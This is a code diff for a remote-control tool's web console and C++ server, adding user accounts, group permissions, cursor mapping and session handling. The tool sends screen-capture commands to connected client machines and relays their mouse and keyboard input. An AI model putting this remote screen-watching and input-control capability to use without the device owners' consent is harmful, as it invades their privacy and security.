if (ws && ws.readyState === WebSocket.OPEN && token) {
ws.send(JSON.stringify({ cmd: 'get_groups', token }));
}
}
function renderGroupsCheckboxes(groups) {
const container = document.getElementById('groups-checkboxes');
if (!groups || groups.length === 0) {
container.innerHTML = '<span style="color:#666;font-size:12px;">No groups available</span>';
return;
}
container.innerHTML = groups.map(g =>
'<label style="display:flex;align-items:center;padding:3px 0;cursor:pointer;white-space:nowrap;">' +
'<input type="checkbox" value="' + escapeHtml(g) + '" style="margin:0 6px 0 0;flex-shrink:0;width:14px;height:14px;">' +
escapeHtml(g) + '</label>'
).join('');
}
function onRoleChange() {
const role = document.getElementById('new-role').value;
const groupsSection = document.getElementById('groups-section');
groupsSection.style.display = (role === 'admin') ? 'none' : 'block';
}
function closeUsersModal() {
document.getElementById('users-modal').classList.remove('active');
}
function showUserMsg(msg, isError) {
const el = document.getElementById('user-msg');
el.className = 'user-msg ' + (isError ? 'error' : 'success');
el.textContent = msg;
setTimeout(() => { el.innerHTML = ''; }, 3000);
}
function createUser() {
const username = document.getElementById('new-username').value.trim();
const password = document.getElementById('new-password').value;
const role = document.getElementById('new-role').value;
if (!username || !password) {
showUserMsg('Username and password are required', true);
return;
}
// Collect selected groups
const checkboxes = document.querySelectorAll('#groups-checkboxes input[type="checkbox"]:checked');
const allowed_groups = Array.from(checkboxes).map(cb => cb.value);
if (ws && ws.readyState === WebSocket.OPEN && token) {
ws.send(JSON.stringify({ cmd: 'create_user', token, username, password, role, allowed_groups }));
}
}
function deleteUser(username) {
if (!confirm('Delete user "' + username + '"?')) return;
if (ws && ws.readyState === WebSocket.OPEN && token) {
ws.send(JSON.stringify({ cmd: 'delete_user', token, username }));
}
}
function listUsers() {
if (ws && ws.readyState === WebSocket.OPEN && token) {
ws.send(JSON.stringify({ cmd: 'list_users', token }));
}
}
function renderUsersList(users) {
const container = document.getElementById('users-list');
if (!users || users.length === 0) {
container.innerHTML = '<div style="color:#666;padding:12px;">No users</div>';
return;
}
container.innerHTML = users.map(u => {
const isAdmin = u.role === 'admin';
const canDelete = u.username !== 'admin'; // Cannot delete built-in admin
const groups = u.allowed_groups || [];
const groupsText = u.username === 'admin' ? '(all)' :
(groups.length > 0 ? groups.join(', ') : '(none)');
return '<div class="user-item">' +
'<div class="user-info">' +
'<div class="username">' + escapeHtml(u.username) + '</div>' +
'<div class="role ' + (isAdmin ? 'admin' : '') + '">' + u.role + '</div>' +
'<div class="groups" style="font-size:11px;color:#888;margin-top:2px;">Groups: ' + escapeHtml(groupsText) + '</div>' +
'</div>' +
(canDelete ? '<button class="delete-btn" onclick="deleteUser(\'' + escapeHtml(u.username) + '\')">Delete</button>' : '') +
'</div>';
}).join('');
}
function getDevices() {
@@ -1374,6 +1844,30 @@ inline std::string GetWebPageHTML() {
// Control mode state (mouse/keyboard control)
let controlEnabled = false;
// Remote cursor mapping (Windows cursor index -> CSS cursor)
// Index matches CursorInfo.h: IDC_APPSTARTING(0) to IDC_WAIT(15), 254=custom, 255=unsupported
// Custom I-beam cursor with white fill and black stroke for visibility on any background
const ibeamCursor = "url('data:image/svg+xml,<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"24\" viewBox=\"0 0 16 24\"><path fill=\"none\" stroke=\"white\" stroke-width=\"3\" d=\"M4 3h8M8 3v18M4 21h8\"/><path fill=\"none\" stroke=\"black\" stroke-width=\"1\" d=\"M4 3h8M8 3v18M4 21h8\"/></svg>') 8 12, text";
const cursorMap = [
'progress', // 0: IDC_APPSTARTING
'default', // 1: IDC_ARROW
'crosshair', // 2: IDC_CROSS
'pointer', // 3: IDC_HAND
'help', // 4: IDC_HELP
ibeamCursor, // 5: IDC_IBEAM - custom cursor with outline
'default', // 6: IDC_ICON (no direct CSS equivalent)
'not-allowed', // 7: IDC_NO
'default', // 8: IDC_SIZE (deprecated, use default)
'move', // 9: IDC_SIZEALL
'nesw-resize', // 10: IDC_SIZENESW
'ns-resize', // 11: IDC_SIZENS
'nwse-resize', // 12: IDC_SIZENWSE
'ew-resize', // 13: IDC_SIZEWE
'default', // 14: IDC_UPARROW (no direct CSS equivalent)
'wait' // 15: IDC_WAIT
];
let currentCursorIndex = 1; // Default: arrow
// Floating toolbar state
let toolbarVisible = false;
let toolbarHideTimer = null;
@@ -1525,8 +2019,18 @@ inline std::string GetWebPageHTML() {
const canvas = document.getElementById('screen-canvas');
const cursorOverlay = document.getElementById('cursor-overlay');
// Touch devices: hide browser cursor, show overlay (touchpad mode)
// Desktop: keep browser cursor visible, no overlay needed (remote shows cursor)
canvas.style.cursor = (controlEnabled && isTouchDevice) ? 'none' : 'default';
// Desktop: use remote cursor style when control enabled
if (controlEnabled && isTouchDevice) {
canvas.style.cursor = 'none';
} else if (controlEnabled && !isTouchDevice) {
// Apply current remote cursor
const cssCursor = (currentCursorIndex >= 0 && currentCursorIndex < cursorMap.length)
? cursorMap[currentCursorIndex]
: 'default';
canvas.style.cursor = cssCursor;
} else {
canvas.style.cursor = 'default';
}
cursorOverlay.classList.toggle('active', controlEnabled && isTouchDevice);
}
@@ -2239,6 +2743,7 @@ inline std::string GetWebPageHTML() {
sendMouse('up', pos.x, pos.y, e.button);
});
// dblclick handler - server will forward only to macOS clients
canvas.addEventListener('dblclick', function(e) {
e.preventDefault();
const pos = getMousePos(e);
@@ -2356,6 +2861,7 @@ inline std::string GetWebPageHTML() {
if (qcMouse) qcMouse.classList.remove('active');
document.getElementById('screen-canvas').style.cursor = 'default';
document.getElementById('cursor-overlay').classList.remove('active');
currentCursorIndex = 1; // Reset to default arrow
// Reset zoom state
zoomState.scale = 1;
@@ -2366,7 +2872,10 @@ inline std::string GetWebPageHTML() {
canvas.style.transformOrigin = '';
if (decoder) { try { decoder.close(); } catch(e) {} decoder = null; }
if (ws && ws.readyState === WebSocket.OPEN && token) ws.send(JSON.stringify({ cmd: 'disconnect', token }));
if (ws && ws.readyState === WebSocket.OPEN && token && currentDevice) {
ws.send(JSON.stringify({ cmd: 'disconnect', token, id: String(currentDevice.id) }));
}
currentDevice = null; // Clear current device
showPage('devices-page');
getDevices();
}
@@ -2392,22 +2901,49 @@ inline std::string GetWebPageHTML() {
});
// Handle page visibility change (iOS PWA background/foreground)
let backgroundDisconnectTimer = null;
const BACKGROUND_TIMEOUT_MOBILE = 30000; // 30s for mobile/tablet
function doBackgroundDisconnect() {
cancelReconnect();
stopPingInterval();
if (ws) {
ws.onclose = null;
ws.close();
ws = null;
}
updateWsStatus('disconnected');
}
document.addEventListener('visibilitychange', () => {
isPageVisible = !document.hidden;
if (document.hidden) {
// Page going to background - close connection and cancel reconnect
cancelReconnect();
stopPingInterval();
if (ws) {
ws.onclose = null; // Prevent triggering reconnect
ws.close();
ws = null;
// Page going to background
const screenPage = document.getElementById('screen-page');
const onScreenPage = screenPage && screenPage.classList.contains('active') && currentDevice;
if (onScreenPage) {
// Mobile/tablet: delay disconnect 30s
// Desktop: keep connection alive (no timer)
if (isTouchDevice) {
backgroundDisconnectTimer = setTimeout(doBackgroundDisconnect, BACKGROUND_TIMEOUT_MOBILE);
}
} else {
// Other pages - disconnect immediately
doBackgroundDisconnect();
}
updateWsStatus('disconnected');
} else {
// Page coming to foreground - reconnect
// Page coming to foreground
if (backgroundDisconnectTimer) {
clearTimeout(backgroundDisconnectTimer);
backgroundDisconnectTimer = null;
}
// Reconnect or send immediate ping
if (!ws || ws.readyState !== WebSocket.OPEN) {
connectWebSocket();
} else if (token) {
// Connection still open - send immediate ping to refresh server heartbeat
ws.send(JSON.stringify({ cmd: 'ping', token }));
}
}
});
@@ -2456,10 +2992,13 @@ inline std::string GetWebPageHTML() {
e.preventDefault();
const keyCode = parseInt(btn.dataset.key);
const needShift = btn.dataset.shift === '1';
const needCtrl = btn.dataset.ctrl === '1';
if (needCtrl) sendShortcutKey(17, true); // Ctrl down
if (needShift) sendShortcutKey(16, true); // Shift down
sendShortcutKey(keyCode, true);
sendShortcutKey(keyCode, false);
if (needShift) sendShortcutKey(16, false); // Shift up
if (needCtrl) sendShortcutKey(17, false); // Ctrl up
});
btn.addEventListener('click', function(e) {
e.preventDefault();
@@ -2467,10 +3006,13 @@ inline std::string GetWebPageHTML() {
if (!('ontouchstart' in window)) {
const keyCode = parseInt(btn.dataset.key);
const needShift = btn.dataset.shift === '1';
const needCtrl = btn.dataset.ctrl === '1';
if (needCtrl) sendShortcutKey(17, true); // Ctrl down
if (needShift) sendShortcutKey(16, true);
sendShortcutKey(keyCode, true);
sendShortcutKey(keyCode, false);
if (needShift) sendShortcutKey(16, false);
if (needCtrl) sendShortcutKey(17, false); // Ctrl up
}
});
});
@@ -2496,8 +3038,13 @@ inline std::string GetWebPageHTML() {
bindKeyboardBtnEvents(document.getElementById('qc-keyboard'));
bindKeyboardBtnEvents(document.getElementById('btn-keyboard'));
bindKeyboardBtnEvents(document.getElementById('btn-keyboard-bar'));
// Restore token from sessionStorage
// Restore token and role from sessionStorage
token = sessionStorage.getItem('token');
currentUserRole = sessionStorage.getItem('role') || 'viewer';
// Show Users button for admin only (will be updated after login verification)
if (token && currentUserRole === 'admin') {
document.getElementById('users-btn').classList.add('visible');
}
connectWebSocket();
};
</script>

View File

@@ -9,6 +9,9 @@
#include "SimpleWebSocket.h"
#include "common/commands.h"
#include <filesystem>
#include <fstream>
#include <shlobj.h>
#include <set>
// Algorithm constants (same as ScreenSpyDlg.cpp)
#define ALGORITHM_H264 2
@@ -20,6 +23,16 @@ static std::map<void*, std::string> s_ClientNonces;
static std::mutex s_NonceMutex;
static std::atomic<bool> s_bShuttingDown{false}; // Prevents access during static destruction
// Generate random salt (16 hex chars) - thread-safe
static std::string GenerateSalt() {
static std::random_device rd;
static std::mt19937_64 gen(rd());
std::uniform_int_distribution<uint64_t> dis;
char buf[17];
snprintf(buf, sizeof(buf), "%016llX", dis(gen));
return std::string(buf);
}
// Generate random nonce (32 hex chars) - thread-safe
static std::string GenerateNonce() {
if (s_bShuttingDown) return "";
@@ -112,11 +125,22 @@ CWebService::CWebService()
m_PayloadsDir = (exeDir / "Payloads").string();
std::error_code ec;
std::filesystem::create_directories(m_PayloadsDir, ec);
// Initialize config directory (same as YAMA.db location)
char appdata_path[MAX_PATH];
if (SUCCEEDED(SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, appdata_path))) {
m_ConfigDir = std::string(appdata_path) + "\\" BRAND_DATA_FOLDER "\\";
} else {
m_ConfigDir = ".\\";
}
std::filesystem::create_directories(m_ConfigDir, ec);
}
void CWebService::SetAdminPassword(const std::string& password) {
std::lock_guard<std::mutex> lock(m_UsersMutex);
m_Users.clear();
// Admin user is built-in, always first
WebUser admin;
admin.username = "admin";
admin.salt = ""; // Not used with challenge-response auth
@@ -125,6 +149,9 @@ void CWebService::SetAdminPassword(const std::string& password) {
m_Users.push_back(admin);
Mprintf("[WebService] Admin password configured\n");
// Load additional users from file (non-admin users)
LoadUsers();
}
CWebService::~CWebService() {
@@ -318,7 +345,9 @@ void CWebService::ServerThread(int port) {
uint64_t device_id = id_str.empty() ? 0 : strtoull(id_str.c_str(), nullptr, 10);
HandleConnect(ws_ptr, token, device_id);
} else if (cmd == "disconnect") {
HandleDisconnect(ws_ptr, token);
std::string disc_id_str = root.get("id", "").asString();
uint64_t disc_device_id = disc_id_str.empty() ? 0 : strtoull(disc_id_str.c_str(), nullptr, 10);
HandleDisconnect(ws_ptr, token, disc_device_id);
} else if (cmd == "ping") {
HandlePing(ws_ptr, token);
} else if (cmd == "mouse") {
@@ -327,6 +356,16 @@ void CWebService::ServerThread(int port) {
HandleKey(ws_ptr, msg);
} else if (cmd == "rdp_reset") {
HandleRdpReset(ws_ptr, token);
} else if (cmd == "get_salt") {
HandleGetSalt(ws_ptr, msg);
} else if (cmd == "create_user") {
HandleCreateUser(ws_ptr, msg);
} else if (cmd == "delete_user") {
HandleDeleteUser(ws_ptr, msg);
} else if (cmd == "list_users") {
HandleListUsers(ws_ptr, token);
} else if (cmd == "get_groups") {
HandleGetGroups(ws_ptr, token);
}
}
});
@@ -478,6 +517,51 @@ void CWebService::HandleLogin(void* ws_ptr, const std::string& msg, const std::s
SendText(ws_ptr, Json::writeString(builder, res));
}
void CWebService::HandleGetSalt(void* ws_ptr, const std::string& msg) {
Json::Value root;
Json::Reader reader;
if (!reader.parse(msg, root)) {
SendText(ws_ptr, BuildJsonResponse("salt", false, "Invalid JSON"));
return;
}
std::string username = root.get("username", "").asString();
if (username.empty()) {
SendText(ws_ptr, BuildJsonResponse("salt", false, "Username required"));
return;
}
// Find user and get salt
std::string salt = "";
bool userFound = false;
{
std::lock_guard<std::mutex> lock(m_UsersMutex);
for (const auto& u : m_Users) {
if (u.username == username) {
salt = u.salt;
userFound = true;
break;
}
}
}
// For security: if user doesn't exist, generate a fake deterministic salt
// This prevents username enumeration attacks
// Note: Admin has empty salt, so we must check userFound, not salt.empty()
if (!userFound) {
// Generate deterministic fake salt from username (won't match any real password)
salt = WSAuth::ComputeSHA256("fake_salt_prefix_" + username).substr(0, 16);
}
Json::Value res;
res["cmd"] = "salt";
res["ok"] = true;
res["salt"] = salt;
Json::StreamWriterBuilder builder;
builder["indentation"] = "";
SendText(ws_ptr, Json::writeString(builder, res));
}
void CWebService::HandleGetDevices(void* ws_ptr, const std::string& token) {
std::string username, role;
if (!ValidateToken(token, username, role)) {
@@ -485,7 +569,7 @@ void CWebService::HandleGetDevices(void* ws_ptr, const std::string& token) {
return;
}
SendText(ws_ptr, BuildDeviceListJson());
SendText(ws_ptr, BuildDeviceListJson(username));
}
void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t device_id) {
@@ -507,6 +591,32 @@ void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t
return;
}
// Check group permission (admin can access all devices)
if (username != "admin") {
std::string deviceGroup = ctx->GetGroupName();
if (deviceGroup.empty()) deviceGroup = "default";
bool hasAccess = false;
{
std::lock_guard<std::mutex> lock(m_UsersMutex);
for (const auto& u : m_Users) {
if (u.username == username) {
for (const auto& g : u.allowed_groups) {
if (g == deviceGroup) {
hasAccess = true;
break;
}
}
break;
}
}
}
if (!hasAccess) {
SendText(ws_ptr, BuildJsonResponse("connect_result", false, "Permission denied"));
return;
}
}
// Check max clients per device
int current_count = GetWebClientCount(device_id);
if (current_count >= m_nMaxClientsPerDevice) {
@@ -572,7 +682,7 @@ void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t
}
}
void CWebService::HandleDisconnect(void* ws_ptr, const std::string& token) {
void CWebService::HandleDisconnect(void* ws_ptr, const std::string& token, uint64_t requested_device_id) {
std::string username, role;
if (!ValidateToken(token, username, role)) {
SendText(ws_ptr, BuildJsonResponse("disconnect_result", false, "Invalid token"));
@@ -585,8 +695,12 @@ void CWebService::HandleDisconnect(void* ws_ptr, const std::string& token) {
std::lock_guard<std::mutex> lock(m_ClientsMutex);
auto it = m_Clients.find(ws_ptr);
if (it != m_Clients.end()) {
device_id = it->second.watch_device_id;
it->second.watch_device_id = 0;
// Only disconnect if no specific device requested, or if it matches current device
// This prevents race condition when quickly switching devices
if (requested_device_id == 0 || it->second.watch_device_id == requested_device_id) {
device_id = it->second.watch_device_id;
it->second.watch_device_id = 0;
}
}
}
@@ -685,6 +799,15 @@ void CWebService::HandleMouse(void* ws_ptr, const std::string& msg) {
short wheelDelta = (short)(delta > 0 ? -120 : (delta < 0 ? 120 : 0));
msg64.wParam = MAKEWPARAM(0, wheelDelta);
} else if (type == "dblclick") {
// dblclick is only needed for macOS clients
// Windows detects double-click from rapid mousedown/mouseup sequence
context* mainCtx = m_pParentDlg->FindHost(device_id);
if (!mainCtx) return;
CString clientType = mainCtx->GetAdditionalData(RES_CLIENT_TYPE);
// Check for both "MAC" (new) and "macOS" (legacy) for compatibility
if (clientType != GetClientType(CLIENT_TYPE_MACOS) && clientType != "macOS") {
return; // Skip dblclick for non-macOS clients
}
if (button == 0) {
msg64.message = WM_LBUTTONDBLCLK;
msg64.wParam = MK_LBUTTON;
@@ -831,6 +954,173 @@ void CWebService::HandleRdpReset(void* ws_ptr, const std::string& token) {
}
}
//////////////////////////////////////////////////////////////////////////
// User Management Handlers
//////////////////////////////////////////////////////////////////////////
void CWebService::HandleCreateUser(void* ws_ptr, const std::string& msg) {
Json::Value root;
Json::Reader reader;
if (!reader.parse(msg, root)) {
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Invalid JSON"));
return;
}
std::string token = root.get("token", "").asString();
std::string username, role;
if (!ValidateToken(token, username, role)) {
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Invalid token"));
return;
}
// Only admin can create users
if (role != "admin") {
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Permission denied"));
return;
}
std::string newUsername = root.get("username", "").asString();
std::string newPassword = root.get("password", "").asString();
std::string newRole = root.get("role", "viewer").asString();
// Parse allowed_groups array
std::vector<std::string> allowedGroups;
const Json::Value& groups = root["allowed_groups"];
if (groups.isArray()) {
for (const auto& g : groups) {
if (g.isString() && !g.asString().empty()) {
allowedGroups.push_back(g.asString());
}
}
}
if (newUsername.empty() || newPassword.empty()) {
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Username and password required"));
return;
}
if (CreateUser(newUsername, newPassword, newRole, allowedGroups)) {
SendText(ws_ptr, BuildJsonResponse("create_user_result", true));
} else {
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Failed to create user (may already exist)"));
}
}
void CWebService::HandleDeleteUser(void* ws_ptr, const std::string& msg) {
Json::Value root;
Json::Reader reader;
if (!reader.parse(msg, root)) {
SendText(ws_ptr, BuildJsonResponse("delete_user_result", false, "Invalid JSON"));
return;
}
std::string token = root.get("token", "").asString();
std::string username, role;
if (!ValidateToken(token, username, role)) {
SendText(ws_ptr, BuildJsonResponse("delete_user_result", false, "Invalid token"));
return;
}
// Only admin can delete users
if (role != "admin") {
SendText(ws_ptr, BuildJsonResponse("delete_user_result", false, "Permission denied"));
return;
}
std::string targetUsername = root.get("username", "").asString();
if (DeleteUser(targetUsername)) {
SendText(ws_ptr, BuildJsonResponse("delete_user_result", true));
} else {
SendText(ws_ptr, BuildJsonResponse("delete_user_result", false, "Failed to delete user"));
}
}
void CWebService::HandleListUsers(void* ws_ptr, const std::string& token) {
std::string username, role;
if (!ValidateToken(token, username, role)) {
SendText(ws_ptr, BuildJsonResponse("list_users_result", false, "Invalid token"));
return;
}
// Only admin can list users
if (role != "admin") {
SendText(ws_ptr, BuildJsonResponse("list_users_result", false, "Permission denied"));
return;
}
Json::Value res;
res["cmd"] = "list_users_result";
res["ok"] = true;
Json::Value usersArray(Json::arrayValue);
{
std::lock_guard<std::mutex> lock(m_UsersMutex);
for (const auto& u : m_Users) {
Json::Value user;
user["username"] = u.username;
user["role"] = u.role;
// Include allowed_groups
Json::Value groups(Json::arrayValue);
for (const auto& g : u.allowed_groups) {
groups.append(g);
}
user["allowed_groups"] = groups;
usersArray.append(user);
}
}
res["users"] = usersArray;
Json::StreamWriterBuilder builder;
builder["indentation"] = "";
std::string json = Json::writeString(builder, res);
SendText(ws_ptr, json);
}
void CWebService::HandleGetGroups(void* ws_ptr, const std::string& token) {
std::string username, role;
if (!ValidateToken(token, username, role)) {
SendText(ws_ptr, BuildJsonResponse("groups", false, "Invalid token"));
return;
}
// Only admin can get groups list (for user management)
if (role != "admin") {
SendText(ws_ptr, BuildJsonResponse("groups", false, "Permission denied"));
return;
}
// Collect all unique groups from online devices
std::set<std::string> groups;
groups.insert("default"); // Always include default group
if (m_pParentDlg) {
EnterCriticalSection(&m_pParentDlg->m_cs);
for (context* ctx : m_pParentDlg->m_HostList) {
if (!ctx || !ctx->IsLogin()) continue;
std::string g = ctx->GetGroupName();
groups.insert(g.empty() ? "default" : g);
}
LeaveCriticalSection(&m_pParentDlg->m_cs);
}
// Build response
Json::Value res;
res["cmd"] = "groups";
res["ok"] = true;
res["groups"] = Json::Value(Json::arrayValue);
for (const auto& g : groups) {
res["groups"].append(g);
}
Json::StreamWriterBuilder builder;
builder["indentation"] = "";
std::string json = Json::writeString(builder, res);
SendText(ws_ptr, json);
}
//////////////////////////////////////////////////////////////////////////
// Token Management (delegated to WebServiceAuth module)
//////////////////////////////////////////////////////////////////////////
@@ -930,6 +1220,174 @@ std::string CWebService::ComputeHash(const std::string& input) {
return WSAuth::ComputeSHA256(input);
}
//////////////////////////////////////////////////////////////////////////
// User Management
//////////////////////////////////////////////////////////////////////////
std::string CWebService::GetUsersFilePath() {
return m_ConfigDir + "users.json";
}
void CWebService::LoadUsers() {
// Note: m_UsersMutex should already be held by caller (SetAdminPassword)
// Load additional users from users.json (admin user is already in m_Users)
std::string path = GetUsersFilePath();
std::ifstream file(path);
if (!file.is_open()) {
Mprintf("[WebService] No users.json found, using admin only\n");
return;
}
try {
Json::Value root;
Json::CharReaderBuilder builder;
std::string errors;
if (!Json::parseFromStream(builder, file, &root, &errors)) {
Mprintf("[WebService] Failed to parse users.json: %s\n", errors.c_str());
return;
}
const Json::Value& users = root["users"];
int loaded = 0;
for (const auto& u : users) {
std::string username = u.get("username", "").asString();
// Skip admin user (it's built-in with master password)
if (username.empty() || username == "admin") continue;
WebUser user;
user.username = username;
user.password_hash = u.get("password_hash", "").asString();
user.salt = u.get("salt", "").asString();
user.role = u.get("role", "viewer").asString();
// Load allowed_groups
const Json::Value& groups = u["allowed_groups"];
if (groups.isArray()) {
for (const auto& g : groups) {
user.allowed_groups.push_back(g.asString());
}
}
if (!user.password_hash.empty()) {
m_Users.push_back(user);
loaded++;
}
}
Mprintf("[WebService] Loaded %d additional users from users.json\n", loaded);
} catch (const std::exception& e) {
Mprintf("[WebService] Error loading users.json: %s\n", e.what());
}
}
void CWebService::SaveUsers() {
// Save non-admin users to users.json
std::lock_guard<std::mutex> lock(m_UsersMutex);
Json::Value root;
Json::Value users(Json::arrayValue);
for (const auto& u : m_Users) {
// Skip admin user (it uses master password, not stored in file)
if (u.username == "admin") continue;
Json::Value user;
user["username"] = u.username;
user["password_hash"] = u.password_hash;
user["salt"] = u.salt;
user["role"] = u.role;
// Save allowed_groups
Json::Value groups(Json::arrayValue);
for (const auto& g : u.allowed_groups) {
groups.append(g);
}
user["allowed_groups"] = groups;
users.append(user);
}
root["users"] = users;
std::string path = GetUsersFilePath();
std::ofstream file(path);
if (!file.is_open()) {
Mprintf("[WebService] Failed to open users.json for writing\n");
return;
}
Json::StreamWriterBuilder builder;
builder["indentation"] = " ";
std::unique_ptr<Json::StreamWriter> writer(builder.newStreamWriter());
writer->write(root, &file);
Mprintf("[WebService] Saved %d users to users.json\n", (int)users.size());
}
bool CWebService::CreateUser(const std::string& username, const std::string& password, const std::string& role,
const std::vector<std::string>& allowed_groups) {
if (username.empty() || password.empty()) return false;
if (username == "admin") return false; // Cannot create user named "admin"
if (role != "admin" && role != "viewer") return false;
{
std::lock_guard<std::mutex> lock(m_UsersMutex);
// Check if user already exists
for (const auto& u : m_Users) {
if (u.username == username) return false;
}
// Generate salt and hash password with salt
WebUser user;
user.username = username;
user.salt = GenerateSalt();
user.password_hash = WSAuth::ComputeSHA256(password + user.salt);
user.role = role;
user.allowed_groups = allowed_groups;
m_Users.push_back(user);
Mprintf("[WebService] Created user: %s (role: %s, groups: %d)\n",
username.c_str(), role.c_str(), (int)allowed_groups.size());
}
// Save to file (outside lock scope since SaveUsers acquires its own lock)
SaveUsers();
return true;
}
bool CWebService::DeleteUser(const std::string& username) {
if (username.empty() || username == "admin") return false;
bool deleted = false;
{
std::lock_guard<std::mutex> lock(m_UsersMutex);
for (auto it = m_Users.begin(); it != m_Users.end(); ++it) {
if (it->username == username) {
m_Users.erase(it);
Mprintf("[WebService] Deleted user: %s\n", username.c_str());
deleted = true;
break;
}
}
}
if (deleted) {
SaveUsers();
}
return deleted;
}
std::vector<std::pair<std::string, std::string>> CWebService::ListUsers() {
std::lock_guard<std::mutex> lock(m_UsersMutex);
std::vector<std::pair<std::string, std::string>> result;
for (const auto& u : m_Users) {
result.push_back({u.username, u.role});
}
return result;
}
//////////////////////////////////////////////////////////////////////////
// JSON Helpers
//////////////////////////////////////////////////////////////////////////
@@ -947,17 +1405,47 @@ std::string CWebService::BuildJsonResponse(const std::string& cmd, bool ok, cons
return Json::writeString(builder, res);
}
std::string CWebService::BuildDeviceListJson() {
std::string CWebService::BuildDeviceListJson(const std::string& username) {
Json::Value res;
res["cmd"] = "device_list";
res["devices"] = Json::Value(Json::arrayValue);
// Get user's allowed groups for filtering (skip for admin or empty username)
std::vector<std::string> allowedGroups;
bool filterByGroup = false;
if (!username.empty() && username != "admin") {
std::lock_guard<std::mutex> lock(m_UsersMutex);
for (const auto& u : m_Users) {
if (u.username == username) {
allowedGroups = u.allowed_groups;
filterByGroup = true;
break;
}
}
}
if (m_pParentDlg) {
// Access device list with lock
EnterCriticalSection(&m_pParentDlg->m_cs);
for (context* ctx : m_pParentDlg->m_HostList) {
if (!ctx || !ctx->IsLogin()) continue;
// Get device group (empty = "default")
std::string deviceGroup = ctx->GetGroupName();
if (deviceGroup.empty()) deviceGroup = "default";
// Filter by allowed groups if user is not admin
if (filterByGroup) {
bool allowed = false;
for (const auto& g : allowedGroups) {
if (g == deviceGroup) {
allowed = true;
break;
}
}
if (!allowed) continue; // Skip device not in allowed groups
}
Json::Value device;
// Use string for ID to avoid JavaScript number precision loss
device["id"] = std::to_string(ctx->GetClientID());
@@ -980,10 +1468,29 @@ std::string CWebService::BuildDeviceListJson() {
CString version = ctx->GetClientData(ONLINELIST_VERSION);
device["version"] = AnsiToUtf8(version);
// 活动窗口编码由客户端能力位决定:新客户端是 UTF-8老客户端是 CP_ACP默认 936
// 不能像其它字段那样无脑 AnsiToUtf8——会把新客户端的 UTF-8 字节再当 GBK 双重编码。
CString activeWindow = ctx->GetClientData(ONLINELIST_LOGINTIME);
device["activeWindow"] = AnsiToUtf8(activeWindow);
std::string activeWindowU8;
if (!activeWindow.IsEmpty()) {
UINT cp = GetClientEncoding(ctx);
int wlen = MultiByteToWideChar(cp, 0, activeWindow, -1, NULL, 0);
if (wlen > 1) {
std::wstring w(wlen - 1, L'\0');
MultiByteToWideChar(cp, 0, activeWindow, -1, &w[0], wlen);
int u8len = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, NULL, 0, NULL, NULL);
if (u8len > 1) {
activeWindowU8.resize(u8len - 1);
WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, &activeWindowU8[0], u8len, NULL, NULL);
}
}
}
device["activeWindow"] = activeWindowU8;
device["online"] = true;
// Add device group to response
device["group"] = deviceGroup;
// Get screen info from client's reported resolution
// Format: "n:MxN" where n=monitor count, M=width, N=height
CString resolution = ctx->GetAdditionalData(RES_RESOLUTION);
@@ -1089,11 +1596,9 @@ void CWebService::BroadcastH264Frame(uint64_t device_id, const uint8_t* data, si
// Broadcast to all watching clients
std::lock_guard<std::mutex> lock(m_ClientsMutex);
int sent_count = 0;
for (auto& [ws_ptr, client] : m_Clients) {
if (client.watch_device_id == device_id) {
SendBinary(ws_ptr, data, len);
sent_count++;
}
}
// Cache keyframe (check FrameType byte at offset 4)
@@ -1136,15 +1641,40 @@ void CWebService::NotifyResolutionChange(uint64_t device_id, int width, int heig
}
}
void CWebService::BroadcastCursor(uint64_t device_id, uint8_t cursor_index) {
if (m_bStopping) return;
// Build JSON message
Json::Value res;
res["cmd"] = "cursor";
res["index"] = cursor_index;
Json::StreamWriterBuilder builder;
builder["indentation"] = "";
std::string json = Json::writeString(builder, res);
// Send to all watching clients
std::lock_guard<std::mutex> lock(m_ClientsMutex);
for (auto& [ws_ptr, client] : m_Clients) {
if (client.watch_device_id == device_id) {
SendText(ws_ptr, json);
}
}
}
bool CWebService::StartRemoteDesktop(uint64_t device_id) {
if (!m_pParentDlg) return false;
context* ctx = m_pParentDlg->FindHost(device_id);
if (!ctx) return false;
// Close any existing remote desktop for this device first
// This prevents duplicate dialogs when user reconnects quickly
m_pParentDlg->CloseRemoteDesktopByClientID(device_id);
// Check if there's already a Web session for this device
// Only reuse if Web has already triggered AND a Web dialog exists
// This ensures MFC and Web have independent dialogs
if (IsWebTriggered(device_id) && HasActiveSession(device_id)) {
Mprintf("[WebService] Reusing existing Web session for device %llu\n", device_id);
return true; // Web session exists, new web user joins watching
}
// Mark as web-triggered (dialog should be hidden)
{
@@ -1153,7 +1683,8 @@ bool CWebService::StartRemoteDesktop(uint64_t device_id) {
}
// Send COMMAND_SCREEN_SPY with H264 algorithm
// Format: [COMMAND_SCREEN_SPY:1][DXGI:1][Algorithm:1][MultiScreen:1]
// If client is already capturing (MFC opened first), it will re-send TOKEN_BITMAPINFO
// This creates a new hidden Web dialog while MFC dialog remains visible
BYTE bToken[32] = { 0 };
bToken[0] = COMMAND_SCREEN_SPY;
bToken[1] = 0; // DXGI mode: 0=GDI
@@ -1177,10 +1708,11 @@ void CWebService::StopRemoteDesktop(uint64_t device_id) {
}
}
// If no more web clients watching, close the remote desktop
// If no more web clients watching, close only the Web session dialog
// MFC dialogs remain open
if (watchingCount == 0) {
ClearWebTriggered(device_id);
m_pParentDlg->CloseRemoteDesktopByClientID(device_id);
m_pParentDlg->CloseWebRemoteDesktopByClientID(device_id);
}
}
@@ -1196,10 +1728,13 @@ void CWebService::RegisterScreenContext(uint64_t device_id, CONTEXT_OBJECT* ctx)
}
void CWebService::UnregisterScreenContext(uint64_t device_id) {
if (!m_bRunning) return;
// Always clean up, even if WebService is stopping
// This prevents stale pointers in m_ScreenContexts
std::lock_guard<std::mutex> lock(m_ScreenContextsMutex);
m_ScreenContexts.erase(device_id);
Mprintf("[WebService] Unregistered screen context for device %llu\n", device_id);
if (m_bRunning) {
